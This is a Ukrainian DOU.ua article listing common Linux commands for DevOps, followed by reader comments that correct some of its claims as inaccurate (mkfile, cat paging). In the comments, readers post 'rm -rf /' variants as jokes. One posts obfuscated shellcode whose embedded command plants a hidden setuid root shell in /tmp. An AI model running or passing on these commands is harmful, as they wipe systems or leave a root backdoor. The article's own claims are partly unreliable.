Найважливіші команди Linux для DevOps

Усі статті, обговорення, новини про DevOps — в одному місці. Підписуйтеся на DOU | DevOps!

Важко уявити сучасного DevOps-спеціаліста без знання ОС Linux та команд для виконання налаштувань системи та конфігураційних файлів.

Саме тому в цій статті я поділюсь з вами основними командами, які надають можливість вміло оперувати необхідними інструментами і швидко виконувати поставлені задачі.

На сьогодні існує велика кількість різноманітних дистрибутивів ОС Linux, але, незважаючи на їхню технічну відмінність, наявний стандартний набір базових команд та утиліт, які функціонують однаково на них усіх. Вони «встановлені з коробки» і доступні для використання.

Далі поговоримо про найкорисніші з них, заздалегідь розділивши їх на певні групи залежно від специфіки та особливостей використання.

Команди для роботи з файлами та каталогами

До цієї категорії належать системні утиліти для навігації між каталогами, пошуку, створення, переміщення, видалення, редагування та відображення вмісту файлів:

  • pwd — відображення шляху до поточного каталогу.
  • cd — перехід у потрібний каталог.

  • ls — вивід вмісту поточного каталогу. Для кращого відображення інформації бажано використовувати з ключем -la.

Також є інші ключі, які можна знайти ввівши команду man перед ls. Її можна використовувати до всіх наявних команд. Вона виводить manual по кожній команді з усіма доступними ключами та параметрами.

  • mkdir — створення нового каталогу.
  • mkfile, touch, echo — створення нового файлу. За використання команди mkfile необхідно вказати ключі -nv та після нього розмір створюваного файла і його імʼя. У випадку з touch тільки імʼя. З echo використовується певна конструкція, в якій записується стрічка в файл, якщо його не існує, то він створюється з цією стрічкою. Текст вказується у лапках. Можна вказати пусті лапки й тоді буде створений новий пустий файл.

  • cp — копіювання файлів або каталогів. Після команди вказується два параметри: імʼя файлу/каталогу, що копіюється і назва файлу/каталогу, куди буде скопійовано. Під час копіювання каталогу з вкладеними каталогами використовується ключ -r для копіювання всього вмісту підкаталогів. Інші, можливі для застосування, ключі можна переглянути командою man cp.

  • mv — переміщення файлів/каталогів. Як і з попередньою командою вказується імʼя файлу/каталогу, що буде переміщатись і назва файлу/каталогу, куди буде переміщено. Утиліта використовується також для перейменування. Найпопулярніші ключі: -i — під час переміщення файлу, якщо такий файл вже існує, то видається запит на перезапис; -f — за наявності такого ж файлу, виконується перезапис без запиту; -n — якщо такий файл вже є, то він не перезаписується.

  • rm — видалення каталогів/файлів. Після команди потрібно вказати що видаляти. Для виконання операції без підтвердження використовують ключ -f, якщо потрібно видалити всі вкладені каталоги, то необхідно вказати ключ -r.
  • vi, vim — системний текстовий редактор. Використовується для відкриття і редагування вмісту файлу. Vim — більш модифікована і сучасна версія редактора, проте вона встановлена не на всіх ОС, на відміну від vi. Використання цього редактора є дещо специфічним. Тут представлені два режими роботи: командний і безпосередньо редагування тексту. Для переходу в командний режим використовують символ : і далі вводять потрібну команду. Для переходу в режим редагування тексту потрібно натиснути клавішу i (тобто insert). Щоб вийти з режиму редагування натисніть Esc. Щоб вийти з редактора з збереженням внесених змін потрібно в режимі команд ввести :x, без змін — :q!.
  • cat - відображення вмісту файлу в розмір вікна терміналу. Після команди вказується назва файлу. Якщо файл більший за область вікна, то для подальшого виведення використовується клавіша Enter.
  • find — пошук файлу або каталогу. Після команди вказується каталог, в якому буде відбуватися пошук, якщо є підкаталоги, то в них також. Далі задається критерій пошуку. Зазвичай використовують два ключі -name (пошук за іменем файлу) та -type (пошук за типом файлу).

  • df - відображає інформацію про кількість вільного простору системних каталогів. Зазвичай застосовують з ключем -h.
  • lsof — розшифровується як LiSt Open Files і використовується для того, щоб зрозуміти, які файли відкриваються якими процесами. Як ми всі знаємо, Linux система розглядає все як файли (зокрема каталоги, канали, пристрої, сокети, тощо). Одна з причин використання команди lsof — це ситуація, коли диск не може бути розмонтований, оскільки виникає помилка: «Файли використовуються». За допомогою цієї команди ми можемо легко визначити які файли використовуються.

Найчастіше використовувані комбінації команди

# lsof -u www-root — відображає список усіх відкритих файлів користувача www-root;

# lsof -i TCP:22 — відображає список процесів, що працюють на 22 порту;

# lsof -i -u^root — відображає список процесів за виключенням користувача root;

# lsof -i -u www-root — показує які команди використовує користувач www-root;

# lsof -i — виводить список всіх мережевих підключень;

# kill -9 `lsof -t -u www-root` — завершення всіх процесів користувача www-root.

</code> <code>grep  розшифровується як global regular expression printer. Іншими словами grep вирізає потрібні вам рядки з текстових файлів, які містять вказаний користувачем текст. Структура виглядає так:

# grep “запит” “файл”

“запит” — слово, яке ви шукаєте;

“файл” — файл, у якому ви шукаєте слово.

Ключі: -i — пошук з ігноруванням регістру букв;  — підраховує кількість «запитів» у «файлі».

Команди для роботи з мережею

Існує велика кількість команд як для відстежування мережевих пакетів, так і для перевірки системних налаштувань та портів. До основних можна віднести наступні:

  • ss або netstat — виводить інформацію про використання портів та стан мережі. За замовчуванням встановлена саме команда ss, а netstat представлена у пакеті net-tools, після його встановлення стає доступною до використання. Зазвичай застосовується з ключами -ntpl.

Деякі корисні комбінації команди netstat

# netstat -npt | awk '{print $5}' | grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}' | cut -d: -f1 | sort | uniq -c | sort -nr | head — список IP та кількість TCP-зʼєднань з кожного з них.

# netstat -npt | grep <port>  | awk '{print $5}' | grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}' | cut -d: -f1 | sort | uniq -c | sort -nr | head — список IP та кількість TCP-зʼєднань на певному порту (<port>).

# netstat -npt | grep <port> | grep ESTABLISHED | awk '{print $5}' | grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}' | cut -d: -f1 | sort | uniq -c | sort -nr | head — cписок встановлених TCP-з’єднань за IP-адресою на певному порту та в стані ESTABLISHED.

netstat -npt | awk '{print $6}' | sort | uniq -c | sort -nr | head — Стан SYN_RECV означає, що ваш сервер отримав початковий пакет SYN, він надіслав власний пакет SYN+ACK і очікує на ACK від зовнішнього комп’ютера для завершення рукостискання TCP. Використовується для відстежування SYN flood атак.

  • ifconfig — відображення інформації про всі мережі інтерфейси в системі.
  • ip address — виведення IP-адрес всіх мережевих інтерфейсів.
  • ifup, ifdown — ввімкнення та вимкнення мережевих інтерфейсів відповідно. Після команди вказується мережевий інтерфейс.
  • ping — перевірка зʼєднання з заданим сайтом, хостом. Слід за командою вказується домен або IP-адреса.

  • traceroute — перевірка маршруту до кінцевого вузла. Якщо на якомусь вузлі є проблеми, то це відображається у результатах виконання команди з вказанням певної IP-адреси. Зазвичай така ситуація може бути у певних провайдерів, які блокують підмережі на своїй стороні.
  • tcpdump  захоплює та відображає мережевий трафік згідно з вказаними параметрами. Вони можуть бути представлені у вигляді IP, порту, мережевого інтерфейсу, вхідних чи вихідних пакетів. Найчастіше застосовують комбінації:

# tcpdump -i eth0 — перегляд трафіку з мережевого інтерфейсу eth0.

# tcpdump -i eth0 host <host IP> — захоплення пакетів з певного хоста.

# tcpdump -i eth0 src host <host IP> — виводить трафік, який надходить лише з <host IP>. Якщо потрібно трафік, що надходить на <host IP>, то замість src пишемо dst.

# tcpdump -i eth0 dst port <port number> — виводить трафік, який виходить з порта під номером <port number>. Якщо потрібно трафік, що надходить на порт <port number>, то замість dst пишемо src.

  • iptables — файрвол, котрий фільтрує трафік на сервер та з сервера. Можна налаштувати як блокування певних IP, портів та підмереж, так і дозволи для доступу до певних портів тільки з конкретних IP. Для перегляду всіх правил використовуйте ключ -L.

Системні утиліти та служби

Використовується велика кількість служб та утиліт для налаштування та моніторингу системи. Запускають, зупиняють і перевіряють роботу служб за допомогою команди systemctl. Після команди вказують операцію, яку необхідно виконати, а далі назва сервісу, до якого вона буде застосована.

Доступні наступні операції: status (виведення поточного статусу сервісу), start (запуск), stop (зупинка), restart (перезапуск служби з її вимкненням та запуском), reload (перезапуск служби з внесенням змін без її вимкнення), enable (додає сервіс в автозавантаження операційної системи), disable (видалення служби з автозавантаження).

Найчастіше використовувані утиліти:

  • top — виводить інформацію про запущені процеси, використання ними ресурсів, а також навантаження на систему. Є більш сучасна і модифікована версія утиліти — htop, проте її потрібно встановлювати за допомогою пакетного менеджера.

  • iotop — відображає навантаження запущених процесів на диск.
  • — виводить список активних користувачів системи.
  • ps — показує список всіх процесів користувача. Застосовується як з ключами, так і з параметрами.
  • free — виводить інформацію про кількість використаної та вільної оперативної памʼяті, а також підкачки, якщо вона використовується. Для виводу у гігабайтах використовується ключ -h.

  • curl — утиліта, яка надає можливість передачі даних через мережу «Інтернет», формування URL запитів з потрібними параметрами для отримання вибірки даних. Працює з протоколами HTTP, SMTP, IMAP, POP3, Telnet, LDAP, RTMP, FTP, SCP. Після команди вказується URL сторінки або домен, а також необхідні параметри чи ключі. -I — виводить інформацію про доступність сайту чи сторінки (якщо доступний, то код 200). -O — виконує завантаження файлу, який вказаний по URL, має бути повне посилання на файл. Найбільш поширені та найкорисніші команди вказані на зображенні нижче.

  • netcat (nc) — це утиліта комп’ютерної мережі для читання з мережевих з’єднань і запису в них, використовуючи TCP або UDP проколи. Netcat функціонує як внутрішній інструмент, який дозволяє сканувати та прослуховувати порти. Структура команди має такий порядок:

nc -<параметри> <адреса> <порт(-и)>

Найчастіше використовувані ключі: -I — режим прослуховування, використовується з вказанням порту, якого потрібно прослухати; -p — вказати номер порту. Найчастіше порт зчитується без вказівки параметра; -u — використовувати протокол UDP, за замовчуванням використовується TCP; -v — детальний режим (використовується при скануванні); -z — вимкнути надсилання даних (використовується при скануванні).

  • dig (з англ. domain information groper) — утиліта (DNS-клієнт), що надає користувачеві інтерфейс командного рядка для звернення до DNS-серверів. Деякі комбінації:

# dig google.com — отримання інформації про домен.

# dig google.com +noall +answer — виводить інформацію тільки секції ANSWER. Більш зручно для читання.

# dig google.com <DNS record type> +noall +answer — виводить інформацію про конкретний тип DNS-запис <DNS record type>.

# dig @8.8.8.8 google.com +noall +answer — отримання інформації з конкретного DNS-сервера. У нашому випадку вказаний конкретний DNS-сервер Google.

# dig -x <IP address> +short — дізнатись доменне імʼя, яке відповідає вказаній IP-адресі.

  • strace — показує всі системні виклики утиліти або програми, які та надсилає до системи під час виконання, а також їх параметри та результат виконання. Але за потреби можна підʼєднатися і до вже запущеного процесу. Часто використовувані команди з використанням даної утиліти:

# strace <program name> — запуск моніторингу за програмою <program name>.

# strace -p <process id> — запуск моніторингу за <process id>.

# strace -e trace=<parametr> <program name> — за допомогою ключа -e можна відфільтрувати вивід команди. Після даного ключа вказується параметр фільтрації <parametr>. Доступні такі параметри: file — всі системні виклики, які стосуються файлів; network — мережеві системні виклики; process — управління процесами; signal — системні виклики сигналів; desc — керування дескрипторами файлів; ipc — системні виклики IPC; memory — робота з пам’яттю програми.

# strace -c <program name> — збір статистики системних викликів програмою <program name>.

# strace -t <program name> — відображення часу виконання кожного системного виклику програми <program name>.

Операційна система Linux надає широкі можливості налаштування та моніторингу систем. Про частинку цих інструментів я розповів у цій статті, проте існує безліч інших команд, які є не менш корисними та часто використовуваними.

👍ПодобаєтьсяСподобалось29
До обраногоВ обраному20
LinkedIn
Дозволені теги: blockquote, a, pre, code, ul, ol, li, b, i, del.
Ctrl + Enter
Дозволені теги: blockquote, a, pre, code, ul, ol, li, b, i, del.
Ctrl + Enter

Sorry, you have been blocked
You are unable to access dou.ua

це я думав був пару команд додати.

Якщо це гайд для початківців, то саму важливу команду забули:
history

vi, vim — системний текстовий редактор.
...
Щоб вийти з редактора з збереженням внесених змін потрібно в режимі команд ввести :x, без змін — :q!.

Ось це найбільш корисна інформація! :)))))

Куди ж без vi(m). Якийсь там nano це ж не наш метод взагалі.

du
ncdu
mtop
ifconfig -> в новых дистрах отсутcвует, только ip
gbd(если уже strace добавили)
htop
sed
tr
smartmontools, fdisk, sfdisk, parted, lvm, mdadm
ebtables, bridgeutils, firewalld?

Короче какой-то странный у вас девопс.

Зайшов знайти у каментах `sudo rm -rf —no-preserve-root /`. Непорядок.

rm -rf /

це ж не шкільний чат
ось менш очевидний варіант того ж самого
char esp[] __attribute__ ((section(".text“))) /* e.s.p
release */
= “xebx3ex5bx31xc0×50×54×5ax83xecx64×68”
“xffxffxffxffx68xdfxd0xdfxd9×68×8dx99”
“xdfx81×68×8dx92xdfxd2×54×5exf7×16xf7”
“x56×04xf7×56×08xf7×56×0cx83xc4×74×56”
“x8dx73×08×56×53×54×59xb0×0bxcdx80×31”
“xc0×40xebxf9xe8xbdxffxffxffx2fx62×69”
“x6ex2fx73×68×00×2dx63×00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Десь 90% правда, але місцями таки маячня.

mkfile — де ви таке знайшли? Ані редхатоїди ні ж дебіаноїди, включаючи убунту, такого не знають. Явно якась саморобка вашого дистрибутиву. Щоб створити файл фіксованого розміру, використовується truncate або dd.

vi/vim ще встановити треба. У багатьох установках за замовчуванням іде nano, який типа легше в використанні (але IMO кривий як спина верблюда).

cat не показує по сторінках! Схоже, ви сплутали з less. (І Enter там — один рядок, а не сторінка.)

В решті нормальна стаття як для навчання юніорів. Але ще треба вказати, що це все для в цілому для діагностики проблем. Для керування треба дивитись на docker/k8s/ansible/купу інших слів для автоматизованого керування.

І до чого це?

Щоб створити файл фіксованого розміру, використовується truncate або dd

fallocate —help

fallocate це з util-linux, а truncate з coreutils, тобто більш базове:))

Раніше думав що девопс це про ’кнопки в админці керування докерами натискати’, та іноді паплійни ci/cd в клауді налаштовувати. Як тепер з цім жити?

Devops це не людина
Ну от продакто овнер частина дкоманди що використовуж девопс
Чим йому лінукс чи докер допо оже?

Ох.. але насправді гарна річ ☺️ дякую за рекомендацію 👍

На Амазні (саме так) колись щось буває у наявності? Як не зайду за посиланням, так «Currently unavailable». У той же час на Алі те саме завжди навалом, якщо воно там взагалі є.

На амазона часто доставкаидовго і воно їде з китаю
Дивися алі.
Ще нова тема temu
Доставка швидше і ближче до амазону

DecOps же не роль
Які такі крманди?
Який лінукс?

Там книжку протфенікса треба читати

Толково, ще б трохи про du, ncdu, бо часто не ясно що наприклад все місце сжерло.

Офигенная статья, самое оно для повторения перед интервью, спасибо!

cd — це для безпосередньої роботи в консолі. При написанні скриптів краще використовувати pushd/popd.

Підписатись на коментарі